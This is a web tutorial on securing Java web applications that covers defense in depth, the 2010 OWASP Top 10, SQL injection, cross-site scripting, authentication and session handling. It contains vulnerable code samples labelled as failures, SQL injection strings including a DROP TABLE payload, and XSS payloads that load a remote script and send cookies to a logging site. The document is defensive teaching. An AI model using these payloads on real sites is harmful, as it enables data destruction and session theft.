Free Online Courses for Software Developers - MrBool
× Please, log in to give us a feedback. Click here to login
×

You must be logged to download. Click here to login

×

MrBool is totally free and you can help us to help the Developers Community around the world

Yes, I'd like to help the MrBool and the Developers Community before download

No, I'd like to download without make the donation

×

MrBool is totally free and you can help us to help the Developers Community around the world

Yes, I'd like to help the MrBool and the Developers Community before download

No, I'd like to download without make the donation

Security in Java Applications

See in this article how to make your web application stronger in Java preventing some attacks

Security in Java Applications

How to make your web application stronger

The Information Security (IS), as defined by ISO/IEC 27002, is the protection of the information from a huge variety of threats with the objective to ensure the business continuity and minimize its risks, at the same time it maximizes the return of investments and the business opportunities.

Besides we start this article with a technical definition, is not our intention to get deeper in the IS concepts and variations, for example, to know the difference between Computational Security, Information Technology Security and Information Protection. Our objective is to show the most common vulnerabilities that affect the computational systems today and propose some counter measures to enhance security in our applications.

In Java application we have a huge amount of topics to talk about, as for vulnerabilities that arise from failures and other reasons in the application in development stages, as the possible solutions for each type of attack that exists. The major purpose of this article is to arouse the reader's interest for this aspect often neglected by development team. We will present both the most common pitfalls as some recommendations on how to avoid falling into them, all with an exclusive focus on web applications.

In this article we are going to discuss some generic practices that directly or indirectly lead to the production of stronger applications, and then we will study the three biggest risks to web applications as raised by the OWASP group (see the "OWASP" table).

Defense in Depth

The Defense Depth is a defense strategy of computer systems proposed by the NSA (National Security Agency) that aims to build multiple layers of protection to isolate the possible attackers from what you want to protect. This is one of the most important concepts of information security and you must have it in mind when design and build the architecture of a system, because it’s a wasted effort setup a next-generation firewall, have an updated antivirus, perform the data validation in the front end and back end of your application and at the same time keep the password to access the database stored unencrypted.

There isn’t a 100% secure system. The best approach is a combination of factors to hinder the attacker access from his target, making his goal so costly that it will not worth for him. If you strengthen and protect your system, the attacker will look for an easier target.

An example of Defense Depth Security can be seen in Figure 1. Of course you can add or reduce some of these layers. Everything will depend on the ratio of value of what you want to protect versus the cost to install and maintain this protection.

Figure 1. Example of Defense Depth

The Defense Depth goes beyond the technological and computational matter, also referring to People and Processes. See the Links section at the end of the article to get more information about this concept.

 

OWASP – The Open Web Application Security Project

The OWASP group own definition: “it’s nongovernmental, nonprofit organization that works to improve the security of applications”. It is a repository of information related to information security, with articles, presentations, surveys, videos and more in order to empower organizations to design, develop, acquire, operate and maintain reliable.

In addition to this information repository the group provides the opportunity to create projects related to the Information Security that contribute in some way with the community of Information Technology. To be part of this you just need to become an OWASP member - for free and you will be able participate in a project or start your own, submitting it for approval of the Global Project. Several tools are available there and for various programming languages from Java to. NET, PHP to Python.

Each year the group presents an article listing the top 10 security risks to web applications. This list also gives recommendations on how to avoid the pitfalls that lead to the realization of a risk, therefore the OWASP is keen to emphasize that seeks to help the developer community and not just the application security community. The list released in April/2010 identifies the following vulnerabilities:

1.     Injection;

  1. Cross-Site Scripting (XSS);
  2. Broken Authentication and Session Management;
  3. Insecure Direct Object References;
  4. Cross-Site Request Forgery (CSRF);
  5. Security Misconfiguration;
  6. Insecure Cryptographic Storage;
  7. Failure to Restrict URL Access;
  8. Insufficient Transport Layer Protection;

10.  Unvalidated Redirects and Forwards.

Note that this list has the highest risks to safety and not major flaws. It's a different focus, it aims to educate the community about the need for the assessment of risks inherent to the applications. The article also suggests a simple model to quantify risk, which would be a structured way to define the size of the investment being made in the process of building software to achieve the satisfactory level of security.

Design Principles

We know that even in systems designed with the Information Security as a formal goal, implementation or architecture failures end up opening vulnerabilities that an attacker with enough time and determination will eventually find and explore. In an article in the 70’s, yes, last century 70’s - Saltzer and Schroeder had already mapped the difficulty of constructing a system proof of unauthorized access, but offered a consistent approach to achieve adequate levels of protection.

This approach is independent of programming language or architecture and can be embedded in virtually any development methodology, because it relies on a collection of principles and good practices to be followed in the specification and development of systems. One of these is the Defense Depth, presented earlier. Listed below are some others that we consider essential, but refer to the links at the end of the article to find the original proposal of Saltzer and Schroeder or the list of principles proposed by OWASP:

 

a)      Economy of Mechanisms - also known as KISS or Keep It Simple, Stupid - is one of the most important principles, because having this in mind the developers and architects build  solutions focused on the problem, reducing the possibility of an attacker to find ways to access the application that have not been tested or foreseen;

b)     Set standards-based fault preparing its functionality and architecture to base decisions on permission rather than exclusion. The classic example here is to favor the use of white lists (lists of everything that's released) instead of black lists (list of everything that is blocked). See the box "Validation Positive";

c)      Each program and each user must operate with the minimum privileges needed to be capable of performing their duties. Following this principle, we limit the damage arising from any breach in security and reduce the interactions between system components to a minimum, thereby facilitating the access control and auditing in case of errors or failures;

d)     Data Entry and Rules Validation needs to be performed always in the back end, even if they all have already been validated at the front end. When it comes to web applications, perform validation of input using JavaScript is useful to avoid the need for a request to a server with parameters that we already know to be invalid, but you must always validate rules also on the back end, because this is the environment where we have total control of what we can or can’t allow.

 

This is a list of what we think is essential, but there are many other architectural principles to consider when building computer systems with a strong concern for safety, and some of them will be presented here. Each individual and organization can - and should - define what is his list of basic principles and spread their knowledge among their peers seeking the security chain, as strengthening the individual, strengthen the community.

Enough talk and let's practice! There are numerous types of attacks that can be triggered depending on the vulnerabilities found on a given site. Where should you start then? A good approach is to search through lists of greatest risk compiled by specialized sites such as OWASP, CERT, CWE / SANS and others - see the links at the end of the article. Below we briefly explain some of the most common vulnerabilities and make suggestions on how to protect your application that is not likely to suffer attacks aimed at exploring these types of failures.

In the Box "OWASP" we present some information about the group and also the list of top 10 risks to the security of web applications compiled by them.

Positive Validation

It is important to understand the motivation behind the recommendation to use whitelisting or positive validation instead of black lists. In deciding to make use of blacklists indirectly assume the commitment to keep it always updated, since the set of bad or invalid data is potentially infinite, making it virtually an impossible job of keeping an updated reliable list. It's the same concept that we use with antivirus, which is the need to constantly update the virus database to be useful.
With the use of whitelists, the developer team needs to think and validate everything that needs to be enabled without breaking any planned functionalities and prepare the system for that. All the form fields, including hidden,  should be validated and also maintain a strong typing, validate the length of the field and always use the minimum necessary size, check if the numeric fields are within the expected range, etc.

A complementary technique to Positive Validation is the normalization of the data before being submitted to validation, because when we prepare the application to handle a single representation of the same data, we are narrowing the scope to a minimum. For example, we need to validate a given data entry which the value is 'Action and Reaction' that needs to be considered valid. If those characters aren’t normalized, several other entries could be denied if they were represented in another encoding. Here are some examples of how these characters could be represented using other encodings:

ASCII = Action and Reaction

 

URL Encoded = A%c3%a7%c3%a3o+e+Rea%c3%a7%c3%a3o

 

Base 64 = QefjbyBlIFJlYefjbw==

 

HEX = 41 e7 e3 6f 20 65 20 52 65 61 e7 e3 6f

In Listing 7 shows a simple example of using a white list rule to eliminate undesirable characters.

Injection

The injection vulnerabilities are situations where unreliable parameters are submitted to an interpreter as part of a command. This command can be sent to a database, LDAP server, operating system or another interpreter, but this article will focus on those sent to a database, featuring a SQL injection attack. It is important to understand the principle of the attack and how to defend from it, so even though we're only talking about SQL Injection you will be able to construct proof systems for any type of injection.

Listing 1. Examples of codes subject to SQL Injection.

// Example of VULNERABLE code to SQL injection using JDBC #FAIL

final String id = httpRequest.getParameter("id"); // paremeter from the request

final String sql = "SELECT * FROM clients WHERE clientID = '" + id + "'"

Statement stmt = conn.createStatement();

ResultSet rs = stmt.executeQuery(sql);

 

// Example of VULNERABLE code to SQL injection using do JPA #FAIL

final String id = httpRequest.getParameter("id"); // paremeter from the request

q = entityManager.createQuery("SELECT * FROM clients WHERE clientID = '" + id + "'");

Listing 1 gives an example of code that is subject to SQL Injection. One way to exploit the flaw in this code would send a call to the server where the parameter 'id' URL has its value concatenated with a command escape or complement, for example:

http://mywebsite.com /clients?id=1234’ OR 1=1 –

The query example (Listing 1) performed in this case would be the one below, returning all customers in table 'customers' instead of returning only the client with 'id = 1234', because the condition following the operator "OR" will always be true.

SELECT * FROM customers WHERE customerID = '1234' OR 1=1 --'

 

Of course this is a basic example of exploiting a simple query, but attacks that exploit these vulnerabilities can be extremely harmful to the database if used queries for data update or to gain access to extra privileges in the database. Some databases allow you to run multiple SQL commands in one call. Consider the following call and the effect it would have in an application:

http://mywebsite.com/ customers?id=1234'; DROP TABLE customers --

The database interpreter would execute the following command, which is valid and extremely harmful:

SELECT * FROM customers WHERE customerID = '1234'; DROP TABLE customers --'

 

Now we have a new opportunity to speak about Defense Depth: If your application uses a database user with limited privileges, the above command would not succeed in erasing the customer table, even if it was accepted by the interpreter. On the other hand, if the application run with a user with administrative privileges, goodbye to the customer table.

How then can we solve the problem? In Listing 2 we propose a solution that uses a PreparedStatement to force type checking on the parameters. Using the command 'setString' we ensure that only a string is passed to the query. Our first malicious URL would result in the below query, where all the content from the URL parameter 'id' is treated as the search criteria, and not part of the command:

SELECT * FROM customers WHERE customerID = "1234' OR 1=1 --"

But of course this is not the only solution to this type of attack and some other options are also shown in Listing 2. Making use of persistence and object-relational mapping frameworks that are more mature is also a way to prevent such attacks, because in general they make proper use of the PreparedStatement. However, this is not ensure protection, because the misuse of a framework can lead to create more vulnerabilities, for example, native queries in Hibernate are subject to risk conditions previously presented here if it receives parameters directly from the browser without proper treatment .

Important: no alternative solution presented in this article may be considered a panacea. See in Listing 3 an example of PreparedStatement misuses, demonstrating that it is necessary to understand the concepts behind the technology being used and the familiar ways - and the "innovative" - to break and explore these same concepts.

 

Make use of an API to prevent direct access to the database interpreter is the best practice and solution for this type of attack, but in the absence of an alternative the possibility is the use of the previously mentioned whitelisting. Making a positive validation of data input the developer team can limit the information sent by the client to only what is allowed, and also is already preparing to prevent  our next type of vulnerability, the cross-site scripting.

 

Listing 2. Examples of possible solutions to SQL Injection.

// Possible solution to prevent SQL injection: JDBC PreparedStatement
// code to connect to the database and exception handling omitted to maximize space
final String id = httpRequest.getParameter ("id") // parameter from request
final String sql = "SELECT * FROM Customers WHERE CustomerID =?";
final PreparedStatement ps = con.prepareStatement (sql);
ps.setString (1, id);
ResultSet rs = ps.executeQuery ();

// Possible solution to prevent SQL injection: Named Parameters in JPA or Hibernate
// code to connect to the database and exception handling omitted to maximize space
final String id = httpRequest.getParameter ("id") / / parameter from request
q = entityManager.createQuery ("SELECT * FROM Customers WHERE CustomerID = ': id'");
q.setParameter ("id", id);


Listing 3. Examples of codes subject to SQL Injection using JDBC PreparedStatement.

// MISUSE OF PreparedStatement - # FAIL
final String id = httpRequest.getParameter ("id") / / parameter from request
final String sql = "SELECT * FROM Customers WHERE CustomerID = '" + id + "'"
final PreparedStatement ps = con.prepareStatement (sql);
ResultSet rs = ps.executeQuery ();

 

Cross-Site Scripting (XSS)

The cross-site scripting attacks are a special type of injection in which an attacker can cause malicious scripts to run in the user browser that is accessing a trusted site and not malicious. Note that in SQL Injection malicious code is executed on the server side, specifically in the database and are intended to attack the site, while this type of attack the malicious code is executed on the client side in order to attack the end user. There are three types of XSS attacks: reflected, stored, and DOM-based, but the latter is less well known and we discuss here only the other two.

In the reflected XSS Attack the application receives any data from the HTTP request and returns the HTTP response. A sample code susceptible to this attack is shown in Figure 4, where a value passed as parameter in the HTTP request is directly shown in the result page to your browser without any treatment. To exploit this flaw the attacker would do something like this:

http://mywebsite.com /customers?id=1234'><script>alert("XSS")</script>'

Listing 4. Exemples of vulnerable codes to a XSS reflected attack

// JSP VULNERABLE code to XSS reflected #FAIL

<% String customerID = request.getParameter("id"); %>

...

Customer ID: <%= customerID %>

 

// code in a VULNERABLE Servlet to XSS reflected #FAIL

out.writeln("you searched for: "+request.getParameter("q"));

He could also use the search fields or data entry on the site to put a script that would be returned in the HTTP response. But those who have not understood the principle of XSS attack must be wondering "so what". Why does it matter to show an alert window? Why an attacker would spend time to send a malicious code that he would get back? The answer to the first question is: if an attacker is able to show an alert window, he can do anything with JavaScript on the vulnerable site, reflecting its shares on the user's browser. And you can do a lot with JavaScript! Consider the following URL – by the way, the script used in the example is functional and offered by ha.ckers.org with educational and testing purpose:

http://mywebsite.com/customers?id=1234'><script src=http://ha.ckers.org/xss.js></script>'

That way you can run a script from any other domain, this means that from the identification of this vulnerability is possible to capture the cookies or hijacking the user's session, change the look of the site, changing values in the DOM, redirect the user and everything else that the imagination allows. But we would still be "attacking us", and therein comes the answer to the second question above. Making use of a vulnerable site, attackers can deceive an unwary web user to click on the links that include malicious scripts - suddenly the word "phishing" arose in your mind? To clarify, an attacker sends a malicious link hidden in a clickable image by email to his victim. In this case the link points to a site that you normally trust, but the parameters were changed, so even moving the mouse over the image and looking at the URL, it must be very careful to see that despite the rule being correct, the script parameter is passed as malicious. This script could, for example, send cookies from the user to a remote site to be used by the attacker as suggested by the URL below - by the way the site cgisecurity.com will even record the cookie data sent for later viewing. Figure 2 shows the attack flow.

http://mywebsite.com /customers?id=1234"><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script>

The second type of XSS attack is the stored call. In this type of attack the malicious code is injected into the vulnerable site by a feature - usually legitimate - as forum messages or blog comments. The script is inserted, for example, in a comment from a blog post and stored along with other legitimate information in the database, file or other means of persistence used by the application. A blog application will typically display all the related comments below a post. By accessing a post of interest, the victim receives the malicious code that is displayed or, more precisely, run in the browser because it was inserted in the attacker comment. See in Listing 5 an example of a Servlet vulnerable to this type of attack.

Listing 5. Example of vulnerable code to a stored XSS attack.

// Servlet code vulnerable to stored XSS # FAIL
// code to connect to the database and exception handling omitted to maximize space
final String id = httpRequest.getParameter ("id") // parameter from the request
final String sql = "SELECT * FROM Customers WHERE CustomerID =?";
final PreparedStatement ps = con.prepareStatement (sql);
ps.setString (1, id);
ResultSet rs = ps.executeQuery ();

// Note that we are using PreparedStatement as recommended to prevent from SQL Injection,
// but we are still vulnerable to an XSS attack,
// because the data come from the database and are sent to the HTML page without validation
out.writeln (<tr> <td> "+ rs.getString (" name ")+"</ td> <td> "+ rs.getString (" comment ")+"</ td> </ tr> ");

 

 

Figure 2. Illustration of a reflected XSS attack.

                                                                                          


With this type of attack the simple act as view a web page with the compromised data is enough to the user suffer the consequence of the malicious script. That's exactly what happened in the notorious case of StalkDaily, who managed to successfully insert a script in his Twitter profile last year. All those infected had just visited the profile by running a script that updated their own profile and sent a tweet inviting other users to visit the profile "infected ". Figure 3 shows how such attack is architected.

Figure 3. Illustration of a stored XSS attack.

 

Like Twitter, other Web giants have suffered XSS attacks, not because is difficult to prevent this attack but the fact that human nature of the developer to rely on input data. Never believe in the input data sent by the client side! The defense for both types of XSS attacks that we present is the same, and also as a type of injection, it applies to SQL Injection attacks.

The most effective strategy is to make an escape of the characters before they are sent to an interpreter, be it a browser or a database. The escape instructs the interpreter to treat the data as information only and not as part of a command. By adopting this practice, even if an attacker succeeds in storing a malicious script on the database it will not run in the poor user browser that is accessing a page that brings this script, making the undesirable script to be shown only as a text to the user. An example of escape character for the HTML interpreter is to make the "<" is shown as &lt;". Listing 6 shows examples of some frameworks that provide support to character escape.

To complement the use of escape as a mechanism of protection against XSS, we should always make use of whitelists, allowing only what interests to the application is persisted for subsequent display. See Listing 7 for a simple example of using a white list filter to eliminate undesirable characters. It is also recommended that any communication sent by the client to uses a standard encoding through your entire application, removing any special characters and uniform data treatment - also known as normalization. Data normalization is important because when building a white list we need to handle only a representational form of data (See the box "Validation Positive").

 

Listing 6. Escape Character sensitive HTML and XML in the presentation layer.

// JSF safe comand
<h:outputText value="#{param.name}"/>

// JSF safe command equivalent to the previous, because the default value of the parameter escape = true
<h:outputText escape="true" value="#{param.name}"/>

// JSP Safe Command
<c:out value="#{param.name}"/>

// JSP safe command equivalent to the previous, because the default parameter escapeXml value = true
<c:out value="#{param.name}" escapeXml="true"/>

// JSF command insecure because they do not escape # FAIL
<h:outputText escape="false" value="#{param.name}"/>

// JSP command insecure because it do not escape # FAIL
<c:out value="#{param.name}" escapeXml="false"/>

// JSP command insecure because it do not escape # FAIL
$ {} param.name

Listing 7. Filter to allow only characters authorized - White list.

// Use this code within a ServletFilter for use in the entire application
// This regular expression will allow only spaces and characters
// a-zA-Z_0-9 '-' and ',' are passed on
String regex = "[\\s\\w-,]*";
Pattern pattern = Pattern.compile (regex);
validate (stringToValidate, pattern);

Canonicalization (C14N or) represents the process of converting data that has more than one possible representation into a standard form, standard, or canonical. Note, for example, that the Java File class has the method getCanonicalPath () which is responsible for returning a single representation and absolute path to access a file in the File System.

Implementing the use of white lists, escape mechanism for each interpreter and data standardization is not a complicated job, but ends up having many subtleties that may go unnoticed. Using the experience of other developers is highly desirable in this case; it is worth to use one of the many libraries that do this service for the developer. The use of frameworks with an API for validation also helps to save time and it’s reliable in the use of a code extensively tested by experienced developers - Struts, JSF, Spring and OWASP Enterprise API are some examples. Listing 8 shows an example of validation using the Java EE 6 Bean Validation to set a focal point in the validation constraints on objects in the model and further extend the validation to the presentation layer using JSF 2.0.

 

Listing 8. Validation using the Bean Validation Framework and JSF 2.0.

// code from the presentation layer using JSF 2.0 with centralized validation in bean
<h:inputText id="creditCard" value="#{reserve.creditCardNumber}"/>

// code of Bean representing the reserve and which contains the validation of the credit card number
@ ManagedBean
public class Reserve {
...
@ notnull (message = "Credit Card is required)
@ Size (min = 16, max = 16, message = "The credit card must have 16 characters ")
@ Pattern (regexp = "\d*", message = "Only digits are accepted on Credit Card)

public String getCreditCardNumber() {
      return getCreditCardNumber;
 }
}

 

Flaws in Authentication and Session Management

Authentication is a process by which it determines whether someone or something is in fact who or what he claims to be, is usually obtained by submitting a user name or identification plus other private information that only the individual knows. The Session Management is a process by which a system maintains the state of the interactions held with him by a certain entity. These two systems characteristics are used together, they are very dependent on each other in the functional view. It’s worthless to manage a user session wrongly authenticated as it’s worthless to authenticate users and allow the data from their sessions to be shared with other users.

Failures in authentication and session management when building an application can lead to the existence of vulnerabilities that allow an external attacker or a legitimate user of the system have access to the accounts of others, whether with the intention of stealing information or to mask the their actions as if they were others.

The authentication mechanism of a site usually is open to anonymous users unauthenticated and therefore should be the bulwark of your application. We still see systems that developers create their own authentication mechanism, but is not easy to write one that is robust and effective. It should be noted that we are not speaking only of the login page, but a whole set of features passing through the need of a logout mechanism, credentials transmission and storage encryption, password management, "remember me on the next access” functionality, session timeout and many others. Testing a system of this magnitude to identify all failures can be costly, so it is worth considering the use of frameworks that already exists for this purpose as Spring Security from the Spring Framework or OWASP ESAPI - see the reference links for both in the end of the article . The standardization using a framework enables to disseminate among the developers the culture of having a single robust set of authentication and session management. In Listing 9 we show how to authenticate a user using the OWASP ESAPI framework.

 

 

Listing 9. User login authentication using OWASP ESAPI framework. Available on http://www.owasp.org/index.php/Guide_to_Authentication.

try {

  String username = request.getParameter(username);

  String password = request.getParameter(password);

 

  Authenticator instance = ESAPI.authenticator();

 

  if ( username != null && password != null ) {

    if ( instance.exists(username) ) {

 

      User user = instance.getUser(username);

 

      if ( !instance.verifyPassword(user, password) ) {

        // Erro de usuário e senha não encontrados

        // O method verifyPassword increments the limit counters

      }

 

      if ( !instance.getUser(username).isEnabled() ) {

        // Error showing that the account is locked or something like that

      }

 

      accountName = user.getAccountName();

      lastLoginTime = user.getLastLoginTime();

      lastFailedLogin = user.getLastFailedLoginTime();

      failedLoginCount = user.getFailedLoginCount();

      roles = user.getRoles();

      lastHost = user.getLastHostAddress();

    }

    else {

      // Error showing: Couldn’t find user or password

    }

  } else {

    // Error Showing: User or password not informed

  }

}

catch ( AuthenticationException e) {

  // Handle error correctly

}

 

Some of the most critical points of authentication involve the storage and transit of credentials that allow users access to the system, and some practices are so important to be followed in this regard. Regarding to secure transit, you should ensure that the authentication information is always trafficked over an encrypted channel (HTTPS, TLS, SSL) from the display of the login form to all screens of the logged in application area. Show the login form outside the secure environment of the site can open the chance of an attacker to modify the form and send via XSS credentials to another website before submitting them to its application. Use the secure channel for every page after the user authentication is important to prevent others from accessing the identifier of the session without it being encrypted opening the opportunity for involvement in attacks of valid sessions - Session Hijacking.

Care must be taken with the response that is given to the user if an authentication failure occurs. Of course, your application will know if he made a mistake when entering his password or the username doesn’t exist on your database, but the person who is making use of the authentication service doesn’t need to know. Messages like "Login for user foo: invalid password", "Login failed, invalid user ID" or "Failed to login, account disabled" are all bad, since they provide more info than necessary. A good text in response to an authentication failure is "Login failed. Invalid user or password.”.

As for the storage of credentials and all the user sensitive data for which you are responsible for overseeing, always encrypt it. Here we strongly recommend "do not reinvent the wheel." There are algorithms tested and proven extremely efficient for data encryption and hashing, as well as numerous libraries that support them, so do not want to create your own - use your creativity in other areas of the application. We won’t go into details because that would be subject for at least another article, but as a rule prefers algorithms like AES, public key encryption RSA, SHA-256 or SHA-512; avoid MD5 and SHA1 because they are outdated.

For the passwords storage is important to use a Hash mechanism. Because it’s not reversible, even if your database is compromised and the stored passwords are exposed, the attacker can’t simply reverse them to their original state. Moreover, as the Hash of two equals password are always the same, an attacker could use a table of precompiled hashes (called the Rainbow Table) to find identical hashes in the compromised base, thus discovering the value of the original password. It is important then to insert changes to prevent that two equals passwords result in the same hash. The variation is known as Salt and it is a random number (recommended 64 bit) to be different for each password and concatenated to it before submitting it to the hash algorithm. By storing the password hash, store also the Salt that was used to create it. Listing 10 shows a code of an example of how to make use of the Salt and SHA-256 digest.

Listing 10. Use of Salt and Digest SHA-256 Encryption.

import java.security.MessageDigest;

 

...

  public byte[] getHash(String password, byte[] salt) throws NoSuchAlgorithmException {

    MessageDigest digest = MessageDigest.getInstance("SHA-256");

    digest.reset();

    digest.update(salt);

    return digest.digest(password.getBytes("UTF-8"));

  }

 

If you're thinking that "the chance of two users have the same password is too low" you should know that it has already been calculated. Even without taking into account the probable lack of creativity of the users to create their passwords, the probability theory has already formulated the so-called birthday paradox. The study shows that in a set of 23 randomly chosen people, the chance of two of them have the same birthday is greater than 50%. Surprising?

It is important to not rely on the user's interest in creating secure passwords. Ensure that the system will deny the account creation of users that choose weak passwords, imposing some rules like having at least one uppercase character (AZ), a tiny (az), a special (!"£$%&.. .) and a digit (0-9), a minimum and maximum size, no sequence of characters (123abcxyz) and not more than two characters equal sequence (1111). To prevent Brute Force attacks, in which malicious users attempt to discover user passwords across multiple authentications from a dictionary of passwords, force a waiting time for each failed attempt, build controls to limit the number of denied attempts and block accounts that go beyond those limits.

As we saw in the previous paragraphs, authentication is the process by which the user presents his credentials to the application to identify itself. As HTTP is a protocol without persistent state (stateless), to avoid having to require user credentials on every access request to pages that require authentication, applications develop a way to track the user authenticated. The most common solution is to create a unique identifier for that specific session that authenticated user - usually called "session ID". This identifier is then sent in all subsequent communications between the user and the application to mark that connection as proof of authentication. If an attacker can identify, predict, kidnap or rob an identifier belonging to another user, there is room for fraudulent activity.

There are three known techniques to keep the sessionID traffic between browser and server: URL rewriting, hidden fields in forms and cookies. As just explained, we do not want users to know the identifiers of other users' sessions, so the method of rewriting the URL (URL Rewrite) is not desirable because you can see the session identifier in the URL directly, as in the example below:

http://mywebsite.com /vendas/itens;jsessionid=B282D44B37CEF164EA3476BEA7488D78

The unwary authenticated user decides to send the above link to a friend just to show that beautiful watch he just bought and go without knowing the identifier of his session, along with other potentially sensitive information like credit card used for that session.

The choice of the method for tracking the session depends of the implementation that the application server made of HttpSession interface, and usually the choice is the use of cookies. It is a healthy choice because it does not display the session in the URL, once traveling on a secure session data will be encrypted and also offers the option to control whether the cookie is persisted or per session, which gives flexibility in controlling timeouts sessions. It is important to note that cookies were not created for security but to maintain state, so we must use them with care by adopting some practices such as enabling the fields "secure " and "HttpOnly.

The filed "secure" in the cookie instructs the browser to send it only when you are on a secure server. The "HttpOnly" implies that the cookie can’t be accessed by scripts on the client side, which helps mitigate some forms of XSS, but it is not supported by all browsers. See Listing 11 for how to create a cookie with these characteristics.

Listing 11. Creating a Cookie with HttpOnly and Secure.

// Starting with Java EE 6 the Cookie class supports HttpOnly

Cookie userCookie = new Cookie("user", "uid1234");

userCookie.setHttpOnly(true);

userCookie.setSecure(true);

response.addCookie(userCookie); // adds the cookie in the response

 

The existence time of a session (timeout) also deserves a special attention in the process of developing a secure web application. It is important to ensure that sessions controlled by the application are destroyed after a certain period of inactivity and also after a certain maximum absolute period, regardless if there is or isn’t activity, forcing a new user authentication. This procedure ensures that if a session cookie was stolen, the victim's exposure time is limited.

Still on the process of managing sessions, you should ensure that the creation of a new session for a user invalidates any other active sessions that he has to minimize the risk of exposure. For instance, if the user has a valid session s1 and opens a second session s2 without going through the logout process, the session s1 will remain active and also could be an opportunity for another user to make use of it.

The same care that we have with the creation of the session we need to have to delete it; therefore you must make sure that the logout process properly invalidates and cleans all sessions for that user. It is recommended to display the logout link on every page of the authenticated site. The recommendation that at first glance it might seem only a question of navigability is actually a security issue, because this way we give the user the opportunity to end his session as quickly as possible. Listing 12 shows an example of how to use OWASP ESAPI to destroy the sessions on the logout process.

Listing 12. Destroying sessions in logout process using OWASP ESAPI. Available at http://www.owasp.org/index.php/Session_Management.

// Method to invalidate a user session in the logout process

public void logout() {

 

  // cookie inutilization

  ESAPI.httpUtilities().

    killCookie( ESAPI.currentRequest(),

                ESAPI.currentResponse(),

                HTTPUtilities.REMEMBER_TOKEN_COOKIE_NAME );

 

  // If a valid session is located, invalidates it

  HttpSession session = ESAPI.currentRequest().getSession(false);

  if (session != null) {

    session.invalidate();

  }

 

  // inutilizates the cookie with a session identifier

  ESAPI.httpUtilities().

    killCookie(ESAPI.currentRequest(),

               ESAPI.currentResponse(),

               "JSESSIONID");

 

  loggedIn = false;

  logger.info(Logger.SECURITY, "Logout successful" );

  ESAPI.authenticator().setCurrentUser(User.ANONYMOUS);

}

 

// The killCookie method overwrites cookie session

public void killCookie(HttpServletRequest request, HttpServletResponse response, String name) {

  String path = "//";

  String domain="";

  Cookie cookie = ESAPI.httpUtilities().getCookie(request, name);

  if ( cookie != null ) {

    path = cookie.getPath();

    domain = cookie.getDomain();

  }

  SafeResponse safeResponse = new SafeResponse( response );

  safeResponse.addCookie(name, "deleted", 0, domain, path);

}

Conclusions

Building web applications that are sufficiently safe is a constant exercise to keep up to date with the most modern techniques of attack and to seek more simpler and efficient solutions to avoid the appearance of flaws and vulnerabilities. We accomplish this with the awareness of everyone in the organization that there is a role to be played by each in the search of a highest possible level of protection.

Don’t limit yourself to only assess the vulnerabilities known or listed on the OWASP Top 10, because there are dozens of attacks techniques. Study them; increase your knowledge, because the attackers usually have more time than you to look at where are the points of failure in your systems.

This article is not even scratching the surface of the Information Security subject, but we hope that was at least enough to stimulate the reader to pursue in-depth information. Whether you are a developer, architect, security engineer, DBA or other, practice Defense Depth and bear in mind the principles of architecture presented here and we are certainly building a web safer for everyone.



Notice, Tips and Published Articles.

What did you think of this post?
Services
[Close]
To have full access to this post (or download the associated files) you must have MrBool Credits.

  See the prices for this post in Mr.Bool Credits System below:

Individually – in this case the price for this post is US$ 0,00 (Buy it now)
in this case you will buy only this video by paying the full price with no discount.

Package of 10 credits - in this case the price for this post is US$ 0,00
This subscription is ideal if you want to download few videos. In this plan you will receive a discount of 50% in each video. Subscribe for this package!

Package of 50 credits – in this case the price for this post is US$ 0,00
This subscription is ideal if you want to download several videos. In this plan you will receive a discount of 83% in each video. Subscribe for this package!


> More info about MrBool Credits
[Close]
You must be logged to download.

Click here to login